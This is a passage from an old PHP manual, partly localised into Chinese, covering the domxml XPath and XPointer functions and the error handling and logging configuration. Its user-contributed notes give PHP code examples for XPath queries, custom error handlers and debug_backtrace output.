As you can see this is a lot prettier and more intuititive than using the local-name() function.  In addition, it makes your code more portable, because you are guaranteed to always be working on nodes that belong to your explicitly stated namespace, uniquely identified by your URI.
fabiostt[X_AT_X]libero[X_DOT_X].it
07-Sep-2003 01:05
Querying documents closed inside a namespace can be tricky

http://bugs.php.net/bug.php?id=11903
tuxo at gmx dot net
22-May-2003 02:47
PHP Version: 4.3.1

I tried out how to get a part of a xml document with the xpath functions in domxml.
Try the following solution:

<?php
// get dom object
$xmldoc = domxml_open_mem($xml);

// init xpath
$xpath = xpath_new_context($xmldoc);
$xpresult = xpath_eval($xpath, "/root/info");

// dump all nodes directly in plain text
foreach ($xpresult->nodeset as $node)
{
   $newxml .= $node->dump_node($node);
}
?>

If you wanna get a new dom object of the result just add

$newxmldoc = domxml_open_mem($newxml);
tk dot lists at fastmail dot fm
20-Jan-2003 09:46
You can indeed use the result object of xpath_eval(). You just have to be careful to pass the result by reference! (note the ampersand's position).

$objXP = xpath_new_context($objDom)
$objTest = &xpath_eval($objXP,"//lalala");
$objTest->nodeset[0]->set_attribute("test","test data");
echo htlentities($objDom->dump_mem());

just be careful that is you pass around values from $objTest then they also need to be passed by reference.
chregu at php dot net
29-Nov-2002 06:32
If you want to apply an XPath-Expression to a particular node:

$ctx->xpath_eval("xpath",$node);
arthur at ischium dot net
09-Nov-2002 07:54
If you want to get the XPath for a particular node:

function getXPath($node) {
   /* node id is held in a property named '1', this is
   illegal in php so we use a workaround */
   $one = '1';
   $xpath = '';
   while ($parent = $node->parent_node()) {
       $siblings = $parent->child_nodes();
       $index = 1;
       foreach ($siblings as $sibling) {
           if ($sibling->type != XML_ELEMENT_NODE || $sibling->tagname != $node->tagname) continue;
           if ($sibling->$one == $node->$one) {
               $xpath = '/' . $node->tagname . '[' . $index . ']' . $xpath;
               break;
                   }
           $index++;
           }
       $node = $parent;
       }
   return $xpath;
   }
bate at php dot net
04-Oct-2002 07:58
<?
$xml = xmldocfile('file.xml');
$xpath = $xml->xpath_new_context();

/**
* object access
*/
$ret = $xpath->xpath_eval('//tag');

/**
* function access
*/
$ret2 = xpath_eval($xpath, '//tag');

print_r($ret);
print_r($ret2);
?>
sbarnum@pointsystems com
21-Mar-2002 10:33
This function has come in handy for recursively viewing the results of xpath searches.  It iterates through a node and converts it to a big associative array:

/**
* Recursive function to convert xml root node to big assoc array
*/
function xmlnode2array($node) {
   if ($node->type==XML_ELEMENT_NODE) {
       if ($attrArray = $node->attributes()) {
           // parse attributes //
           foreach($attrArray AS $attr) {
               $out['ATTRIBUTE'][$attr->name] = $attr->value;
           }
       }
       if ($childArray = $node->children()) {
           // add child nodes //
           foreach($childArray AS $child) {
               if ($child->type==XML_ELEMENT_NODE) {
                   $out[$child->tagname][] = xmlnode2array($child);
               } else {
                   if ($content = xmlnode2array($child))
                       $out['CONTENT'] = $content;
               }
           }
       }

   } else {
       // this is a CONTENT NODE //
       $out = trim($node->content);
       if (!$out) return false;
   }
   return $out;
}
ziw at ifirst dot ru
22-Oct-2001 08:34
it seems that namespaces are not yet (PHP 4.06) implemented - xpath_eval($cnx,"/ns:tag") does work on w2k and does NOT on linux
sofnology at xtra dot co dot nz
26-Aug-2001 09:45
I hope this little example helps someone out. If the XML data doesn't come thru in the post feel free to contact me via email.

<?
   $p = xslt_create();

   $o += 0;
   $s =  '';
   $s .= "<query type='create'>";
   $s .=    "<resourceClass id='12345678901234567890' displayName='DAISY'>";
   $s .=        "<group family='global' id='kind'>";
   $s .=            "<node id='NODE_A' displayName='Red Ferrari' description='Red always goes faster'/>";
   $s .=        "</group>";
   $s .=    "</resourceClass>";
   $s .=    "<resourceClass id='12345678901234567890' displayName='BETTY'>";
   $s .=        "<group family='global' id='kind'>";
   $s .=            "<node id='NODE_B' displayName='Blue Porsche' description='But Porsches are a drivers car'/>";
   $s .=        "</group>";
   $s .=    "</resourceClass>";
   $s .= "</query>";

   $dom=xmldoc($s);
   $ctx=xpath_new_context($dom);

   $query_xo = xpath_eval($ctx,"count(/query/resourceClass)");
   $num_rc = $query_xo->value;
   echo("<BR>There are $num_rc classes in this list");

   for($x=1; $x <= $num_rc; $x++){
       $query_xo = xpath_eval($ctx,"/query/resourceClass[position()=$x]");
       $query_ns = $query_xo->nodeset;
       $resourceClass_dn = $query_ns[0];

//        echo("<PRE>");
//        print_r( $query_xo );
//        echo("<PRE><HR>");
//        print_r( $query_ns );
//        echo("<PRE><HR>");
//        print_r( $rc_dn );
       echo("<BR>[id::".$resourceClass_dn->get_attribute('id')."][displayName::".$resourceClass_dn->get_attribute('displayName')."]");

   }
?>
mfkahn2_NOSPAM at yahoo dot com
25-Jun-2001 05:35
$ctx = xpath_new_context($doc);
$xpath_nodes = xpath_eval($ctx, "//some_element");

$xpath_nodes->nodeset[i]->set_content($string) allows you to set the node content.  Try it and then do a $doc->dumpmem, you'll see the nodes in the original document are indeed updated properly.

I've used this feature lots.  It does work.
newsforsam at bigfoot dot de
24-May-2001 11:46
xpath_eval() returns only a copy of your document. So you cant for example change the $foo->nodeset[id]->content's of the resulting matches. If you want to, you have to do it yourself by going recursive through your doc, which makes xpath_eval at least useless except for checking if you have to ;).
28-Mar-2001 10:12
actually the description at the top should read:
 object xpath_eval(object context, string xpath);
pking at hoovers dot com
07-Mar-2001 09:22
This is a very (very) minor point, but there is a comma missing in the function definition for xpath_eval.  This being my first experience with xpath, I thought "object xpath context" was refering to a single parameter produced by a previous call to xpath_new_context().  Then I couldn't see where you would add the query (which is actually the context parameter)

So the proper definition should be
array xpath_eval (object xpath, context)

Additionally an example would be nice.  I found one from a post to phpbuilder.com:
-------------------------------
http://www.phpbuilder.com/annotate/message.php3?id=1002772
-------------------------------
Message # 1002772:
Date: 01/02/01 06:40
By: Luis Argerich
Subject: new DOM features im 4.0.4

Just wanted to add that PHP 4.0.4 has improved DOM support including Xpath and
Xpointer support:

Try this:

$xml='SOME XML ....';
$doc=xmldoc($xml);
$ctx=xpath_new_context($doc);
$foo=xpath_eval($ctx,"//title");
print_r($foo);

It returns an object that contains a property called Nodeset with an array of DomNodes with the result of the Xpath expression. print_r($foo) to see the full structure.

4.0.4 has also added Xpointer support, so with Xpath and Xpointer support we can really do a lot of things from PHP to XML files.

Luis.
add a note add a note

后退 | 起点 | 前进
xpath_eval_expression | 上一级 | xpath_new_context


xpath_new_context

(PHP 4 >= 4.0.4, PECL)

xpath_new_context -- Creates new xpath context

说明

XPathContext xpath_new_context ( domdocument dom_document )

See also xpath_eval().

add a note add a note User Contributed Notes
webmaster at ebinformatique dot com
08-Feb-2006 02:32
Should that not be placed as:
DomDocument->xpath_new_context as it seems to be a method used from a DomDocument object.
augusto at omnitec dot it
23-Jun-2004 01:52
Split easily XPath result into associative array:

function xpath_parser($xml_file, $xpath_query) {

   $xml_file = realpath($xml_file);

   if (file_exists($xml_file)) {

       $doc = domxml_open_file($xml_file);

       $ctx = $doc->xpath_new_context();

       if ($xpathObj = @$ctx->xpath_eval($xpath_query)) {

           $return = array();

           foreach($xpathObj->nodeset as $risultato) {

               $tagName = $risultato->tagname();
               $content = $risultato->get_content();

               if (array_key_exists($tagName, $return)) {

                   $return[$tagName][] = $content;

               }else {

                   if (count($doc->get_elements_by_tagname($tagName)) > 1) {

                       $return[$tagName] = array($content);

                   }else {

                       $return[$tagName] = $content;

                   }
               }
           }

       }else {  return("<b>Error :</b> Wrong XPath query");  }
   }else {  return("<b>Errore :</b> File not exist or wrong filepath!");  }

   return $return;
}

usage:

$xml_file = "./listaCD.xml";
$query = "/listacd/*";

echo "<pre>";
print_r(xpath_parser($xml_file, $query));
echo "</pre>";
28-May-2003 01:16
I found a nice function in XML_sql2xml. With it, you can get, easily,  the result of a xpath expression.

function getXpathValues(&$dom, $expr) {
   $xpth = $dom->xpath_new_context();
       $xnode = xpath_eval($xpth,$expr);
       if (isset ($xnode->nodeset[0])) {
           $firstnode = $xnode->nodeset[0];
           $children = $firstnode->children();
           $value = $children[0]->content;
       return $value;
   }
       else return Null;
}

Usage :

$dom = domxml_open_file('pear.rss');
echo $this->getXpathValues($dom, "//channel/title");
add a note add a note

后退 | 起点 | 前进
xpath_eval | 上一级 | xpath_register_ns_auto


xpath_register_ns_auto

(PECL)

xpath_register_ns_auto -- Register the given namespace in the passed XPath context

说明

bool xpath_register_ns_auto ( XPathContext xpath_context [, object context_node] )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

xpath_register_ns()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xpath_new_context | 上一级 | xpath_register_ns


xpath_register_ns

(PHP 4 >= 4.2.0, PECL)

xpath_register_ns -- Register the given namespace in the passed XPath context

说明

bool xpath_register_ns ( XPathContext xpath_context, string prefix, string uri )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

xpath_register_ns_auto()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xpath_register_ns_auto | 上一级 | xptr_eval


xptr_eval

(PHP 4 >= 4.0.4, PECL)

xptr_eval -- Evaluate the XPtr Location Path in the given string

说明

class XPathContext {

int xptr_eval ( string eval_str [, domnode contextnode] )

}int xptr_eval ( XPathContext xpath_context, string eval_str [, domnode contextnode] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
Jorrit Kronjee
20-Nov-2003 02:48
Actually xptr_eval works exactly the same as xpath_eval and doesn't return an integer as suggested. I haven't tried anything with it and PHP (4.3.0 for me now) doesn't seem to be any help either. Even simple examples (from http://www.zvon.org/xxl/XPointerTutorial/Output/index.html) don't work, just because half of XPointer is not implemented. XPointer expressions like /1/1 do work.

Let's face it, this is all experimental, folks!
add a note add a note

后退 | 起点 | 前进
xpath_register_ns | 上一级 | xptr_new_context


xptr_new_context

(PHP 4 >= 4.0.4, PECL)

xptr_new_context -- Create new XPath Context

说明

XPathContext xptr_new_context ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xptr_eval | 上一级 | Error Handling and Logging Functions


Error Handling and Logging Functions

PHP 手册
后退 前进

XXXI. Error Handling and Logging Functions

简介

These are functions dealing with error handling and logging. They allow you to define your own error handling rules, as well as modify the way the errors can be logged. This allows you to change and enhance error reporting to suit your needs.

With the logging functions, you can send messages directly to other machines, to an email (or email to pager gateway!), to system logs, etc., so you can selectively log and monitor the most important parts of your applications and websites.

The error reporting functions allow you to customize what level and kind of error feedback is given, ranging from simple notices to customized functions returned during errors.

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Errors and Logging Configuration Options

Name | Default | Changeable | Changelog
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL | Available since PHP 4.0.3.
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_errors | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_source | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
report_memleaks | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
track_errors | "0" | PHP_INI_ALL |
html_errors | "1" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP <= 4.2.3. Available since PHP 4.0.2.
docref_root | "" | PHP_INI_ALL | Available since PHP 4.3.0.
docref_ext | "" | PHP_INI_ALL | Available since PHP 4.3.2.
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
warn_plus_overloading | NULL | PHP_INI?? |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

error_reporting integer

Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive.

In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development.

注: Enabling E_NOTICE during development has some benefits. For debugging purposes: NOTICE messages will warn you about possible bugs in your code. For example, use of unassigned values is warned. It is extremely useful to find typos and to save time for debugging. NOTICE messages will warn you about bad style. For example, $arr[item] is better to be written as $arr['item'] since PHP tries to treat "item" as constant. If it is not a constant, PHP assumes it is a string index for the array.

注: In PHP 5 a new error level E_STRICT is available. As E_STRICT is not included within E_ALL you have to explicitly enable this kind of error level. Enabling E_STRICT during development has some benefits. STRICT messages will help you to use the latest and greatest suggested method of coding, for example warn you about using deprecated functions.

In PHP 3, the default setting is (E_ERROR | E_WARNING | E_PARSE), meaning the same thing. Note, however, that since constants are not supported in PHP 3's php3.ini, the error_reporting setting there must be numeric; hence, it is 7.

display_errors boolean

This determines whether errors should be printed to the screen as part of the output or if they should be hidden from the user.

注: This is a feature to support your development and should never be used on production systems (e.g. systems connected to the internet).

注: Although display_errors may be set at runtime (with ini_set ()), it won't have any affect if the script has fatal errors. This is because the desired runtime action does not get executed.

display_startup_errors boolean

Even when display_errors is on, errors that occur during PHP's startup sequence are not displayed. It's strongly recommended to keep display_startup_errors off, except for debugging.

log_errors boolean

Tells whether script error messages should be logged to the server's error log or error_log. This option is thus server-specific.

注: You're strongly advised to use error logging in place of error displaying on production web sites.

log_errors_max_len integer

Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg.

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

ignore_repeated_errors boolean

Do not log repeated messages. Repeated errors must occur in the same file on the same line until ignore_repeated_source is set true.

ignore_repeated_source boolean

Ignore source of message when ignoring repeated messages. When this setting is On you will not log errors with repeated messages from different files or sourcelines.

report_memleaks boolean

If this parameter is set to Off, then memory leaks will not be shown (on stdout or in the log). This has only effect in a debug compile, and if error_reporting includes E_WARNING in the allowed list

track_errors boolean

If enabled, the last error message will always be present in the variable $php_errormsg.

html_errors boolean

Turn off HTML tags in error messages. The new format for HTML errors produces clickable messages that direct the user to a page describing the error or function in causing the error. These references are affected by docref_root and docref_ext.

docref_root string

The new error format contains a reference to a page describing the error or function causing the error. In case of manual pages you can download the manual in your language and set this ini directive to the URL of your local copy. If your local copy of the manual can be reached by '/manual/' you can simply use docref_root=/manual/. Additional you have to set docref_ext to match the fileextensions of your copy docref_ext=.html. It is possible to use external references. For example you can use docref_root=http://manual/en/ or docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

Most of the time you want the docref_root value to end with a slash '/'. But see the second example above which does not have nor need it.

注: This is a feature to support your development since it makes it easy to lookup a function description. However it should never be used on production systems (e.g. systems connected to the internet).

docref_ext string

See docref_root.

注: The value of docref_ext must begin with a dot '.'.

error_prepend_string string

String to output before an error message.

error_append_string string

String to output after an error message.

error_log string

Name of the file where script errors should be logged. The file should be writable by the web server's user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog().

warn_plus_overloading boolean

If enabled, this option makes PHP output a warning when the plus (+) operator is used on strings. This is to make it easier to find scripts that need to be rewritten to using the string concatenator instead (.).

预定义常量

以下常量作为 PHP 核心的一部分一直有效。

注: You may use these constant names in php.ini but not outside of PHP, like in httpd.conf, where you'd use the bitmask values instead.

表格 2. Errors and Logging

Value | Constant | Description | Note
1 | E_ERROR (integer) | Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted. |
2 | E_WARNING (integer) | Run-time warnings (non-fatal errors). Execution of the script is not halted. |
4 | E_PARSE (integer) | Compile-time parse errors. Parse errors should only be generated by the parser. |
8 | E_NOTICE (integer) | Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script. |
16 | E_CORE_ERROR (integer) | Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP. | since PHP 4
32 | E_CORE_WARNING (integer) | Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP. | since PHP 4
64 | E_COMPILE_ERROR (integer) | Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine. | since PHP 4
128 | E_COMPILE_WARNING (integer) | Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine. | since PHP 4
256 | E_USER_ERROR (integer) | User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error(). | since PHP 4
512 | E_USER_WARNING (integer) | User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error(). | since PHP 4
1024 | E_USER_NOTICE (integer) | User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error(). | since PHP 4
2047 | E_ALL (integer) | All errors and warnings, as supported, except of level E_STRICT. |
2048 | E_STRICT (integer) | Run-time notices. Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code. | since PHP 5

The above values (either numerical or symbolic) are used to build up a bitmask that specifies which errors to report. You can use the bitwise operators to combine these values or mask out certain types of errors. Note that only '|', '~', '!', '^' and '&' will be understood within php.ini, however, and that no bitwise operators will be understood within php3.ini.

范例

Below we can see an example of using the error handling capabilities in PHP. We define an error handling function which logs the information into a file (using an XML format), and e-mails the developer in case a critical error in the logic happens.

例子 1. Using error handling in a script

<?php
// we will do our own error handling
error_reporting(0);

// user defined error handling function
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
    // timestamp for the error entry
    $dt = date("Y-m-d H:i:s (T)");

    // define an assoc array of error string
    // in reality the only entries we should
    // consider are E_WARNING, E_NOTICE, E_USER_ERROR,
    // E_USER_WARNING and E_USER_NOTICE
    $errortype = array (
                E_ERROR           => "Error",
                E_WARNING         => "Warning",
                E_PARSE           => "Parsing Error",
                E_NOTICE          => "Notice",
                E_CORE_ERROR      => "Core Error",
                E_CORE_WARNING    => "Core Warning",
                E_COMPILE_ERROR   => "Compile Error",
                E_COMPILE_WARNING => "Compile Warning",
                E_USER_ERROR      => "User Error",
                E_USER_WARNING    => "User Warning",
                E_USER_NOTICE     => "User Notice",
                E_STRICT          => "Runtime Notice"
                );
    // set of errors for which a var trace will be saved
    $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

    $err = "<errorentry>\n";
    $err .= "\t<datetime>" . $dt . "</datetime>\n";
    $err .= "\t<errornum>" . $errno . "</errornum>\n";
    $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
    $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
    $err .= "\t<scriptname>" . $filename . "</scriptname>\n";
    $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

    if (in_array($errno, $user_errors)) {
        $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
    }
    $err .= "</errorentry>\n\n";

    // for testing
    // echo $err;

    // save to the error log, and e-mail me if there is a critical user error
    error_log($err, 3, "/usr/local/php4/error.log");
    if ($errno == E_USER_ERROR) {
        mail("phpdev@example.com", "Critical User Error", $err);
    }
}

function distance($vect1, $vect2)
{
    if (!is_array($vect1) || !is_array($vect2)) {
        trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
        return NULL;
    }

    if (count($vect1) != count($vect2)) {
        trigger_error("Vectors need to be of the same size", E_USER_ERROR);
        return NULL;
    }

    for ($i=0; $i<count($vect1); $i++) {
        $c1 = $vect1[$i]; $c2 = $vect2[$i];
        $d = 0.0;
        if (!is_numeric($c1)) {
            trigger_error("Coordinate $i in vector 1 is not a number, using zero",
                            E_USER_WARNING);
            $c1 = 0.0;
        }
        if (!is_numeric($c2)) {
            trigger_error("Coordinate $i in vector 2 is not a number, using zero",
                            E_USER_WARNING);
            $c2 = 0.0;
        }
        $d += $c2*$c2 - $c1*$c1;
    }
    return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// undefined constant, generates a warning
$t = I_AM_NOT_DEFINED;

// define some "vectors"
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// generate a user error
$t1 = distance($c, $b) . "\n";

// generate another user error
$t2 = distance($b, "i am not an array") . "\n";

// generate a warning
$t3 = distance($a, $b) . "\n";

?>

参见

See also syslog().

目录
debug_backtrace -- Generates a backtrace
debug_print_backtrace -- Prints a backtrace
error_log -- Send an error message somewhere
error_reporting -- Sets which PHP errors are reported
restore_error_handler -- Restores the previous error handler function
restore_exception_handler -- Restores the previously defined exception handler function
set_error_handler -- Sets a user-defined error handler function
set_exception_handler -- Sets a user-defined exception handler function
trigger_error -- Generates a user-level error/warning/notice message
user_error -- Alias of trigger_error()

add a note add a note User Contributed Notes
email_php_28429 at wg-karlsruhe dot de
21-Feb-2006 03:52
if you cannot use php 5+ and if you do not know, when your administrator/provider will update to a newer php-version, this could be interesting. otherwise it surely is not. ;-)

if you use the example above "example 1: using error handling in a script" with a php version prior to php 5, the part

<?php
$errortype = array(
  // ...
  E_STRICT          => "Runtime Notice");?>

will throw a notice like
"Use of undefined constant E_STRICT - assumed 'E_STRICT'".

of course one could avoid this problem, with

<?php
if(defined('E_STRICT')) define('E_STRICT', 2048);
?>.

but this _could_ generate problems in future versions of php, if E_STRICT is set to 42 or something else.

for this reason i suggest

<?php
$errortype = array(
  E_ERROR          => 'error',
  E_WARNING        => 'warning',
  E_PARSE          => 'parsing error',
  E_NOTICE          => 'notice',
  E_CORE_ERROR      => 'core error',
  E_CORE_WARNING    => 'core warning',
  E_COMPILE_ERROR  => 'compile error',
  E_COMPILE_WARNING => 'compile warning',
  E_USER_ERROR      => 'user error',
  E_USER_WARNING    => 'user warning',
  E_USER_NOTICE    => 'user notice');
if(defined('E_STRICT'))
  $errortype[E_STRICT] = 'runtime notice';
?>.

<?php
// and instead of
// error_reporting(E_ALL | E_STRICT);
// one can use
error_reporting(E_ALL | (defined('E_STRICT')? E_STRICT : 0));
// to avoid that notice.
?>

prosit
seth
tracerdx at tracerdx dot com
29-Nov-2005 01:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
   //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
   //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
   //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
giunta dot gaetano at sea-aeroportimilano dot it
23-Jun-2005 05:03
Something to take care of: if track_errors is enabled, $php_errormsg will always be populated with error messages of warning (and possibly notice?) level, regardless of the error_reporting level set.
21-May-2005 07:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com
28-Jan-2005 06:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody  root          27K Jan 27 16:58 php.errors
omega172 at yahoo dot com
22-Sep-2004 04:01
As pointed out previously, PHP by default logs to the Apache ErrorLog.

Beware: the messages it logs do not conform to Apache's error log format (missing date and severity fields), so if you use an automated parser on your error logs, you'll want to redirect PHP's errors somewhere else with the error_log directive.
ptah at se dot linux dot org
10-Sep-2004 08:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
   private $context = null;
   public function __construct
       ($code, $message, $file, $line, $context = null)
   {
       parent::__construct($message, $code);
       $this->file = $file;
       $this->line = $line;
       $this->context = $context;
   }
};

function error_handler($code, $message, $file, $line) {
   throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
   $errors = array(
       E_USER_ERROR        => "User Error",
       E_USER_WARNING        => "User Warning",
       E_USER_NOTICE        => "User Notice",
       );

   echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
       ' on line '.$e->getLine()."\n";
   echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.
pgerzsonr at freestart dot hu
11-Jan-2002 12:03
A handy errorhandler class can be found at:

http://phpclasses.upperdesign.com/browse.html/package/345

It has several enhancements (report layouts):

* prints the source code fragment where the error encountered,
* prints variable context around error source,
* suppresses error-messages, instead displays an arbitrary HTML or PHP page
* logging to multiple targets and autodetecting target logging
* error messages can be displayed in a separate browser window
* catching errors for runtime generated codes
* debugging variables.
add a note add a note

后退 | 起点 | 前进
xptr_new_context | 上一级 | debug_backtrace


debug_backtrace

(PHP 4 >= 4.3.0, PHP 5)

debug_backtrace -- Generates a backtrace

说明

array debug_backtrace ( void )

debug_backtrace() generates a PHP backtrace.

返回值

Returns an associative array. The possible returned elements are as follows:

表格 1. Possible returned elements from debug_backtrace()

Name | Type | Description
function | string | The current function name. See also __FUNCTION__.
line | integer | The current line number. See also __LINE__.
file | string | The current file name. See also __FILE__.
class | string | The current class name. See also __CLASS__
type | string | The current call type. If a method call, "->" is returned. If a static method call, "::" is returned. If a function call, nothing is returned.
args | array | If inside a function, this lists the functions arguments. If inside an included file, this lists the included file name(s).

范例

例子 1. debug_backtrace() example

<?php
// filename: a.php

function a_test($str)
{
    echo "\nHi: $str";
    var_dump(debug_backtrace());
}

a_test('friend');
?>

<?php
// filename: b.php
include_once '/tmp/a.php';
?>

Results similar to the following when executing /tmp/b.php:

Hi: friend
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(6) "friend"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

参见

trigger_error()
debug_print_backtrace()

add a note add a note User Contributed Notes
tiwen at rpgame dot de
01-May-2006 04:25
Another debug output. This is a short function that does not display the args (sometimes password are in arguments ...) and shows the callstack clearly in a table. In most cases i don't need more ...

<?php
function dieDebug($sError)
{
   echo "<hr /><div>".$sError."<br /><table border='1'>";
   $sOut=""; $aCallstack=debug_backtrace();

   echo "<thead><tr><th>file</th><th>line</th><th>function</th>".
       "</tr></thead>";
   foreach($aCallstack as $aCall)
   {
       if (!isset($aCall['file'])) $aCall['file'] = '[PHP Kernel]';
       if (!isset($aCall['line'])) $aCall['line'] = '';

       echo "<tr><td>{$aCall["file"]}</td><td>{$aCall["line"]}</td>".
           "<td>{$aCall["function"]}</td></tr>";
   }
   echo "</table></div><hr /></p>";
   die();
}
?>

To use it, simply do something like this:

<?php
if(...) dieDebug("another error found!");
?>
http://synergy8.com
14-Dec-2005 02:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
   if (!isset ($arr['file']))
   {
       $arr['file'] = '[PHP Kernel]';
   }

   if (!isset ($arr['line']))
   {
       $arr['line'] = '';
   }

   // Do something
}

?>
tb
22-Jul-2005 02:18
I use this for debugging in my object oriented systems.  It allows me to output a debug/error/warning function with exact information about the location that the error was thrown, which is useful.  Check it:

<?php
abstract class Debugger {

   /**
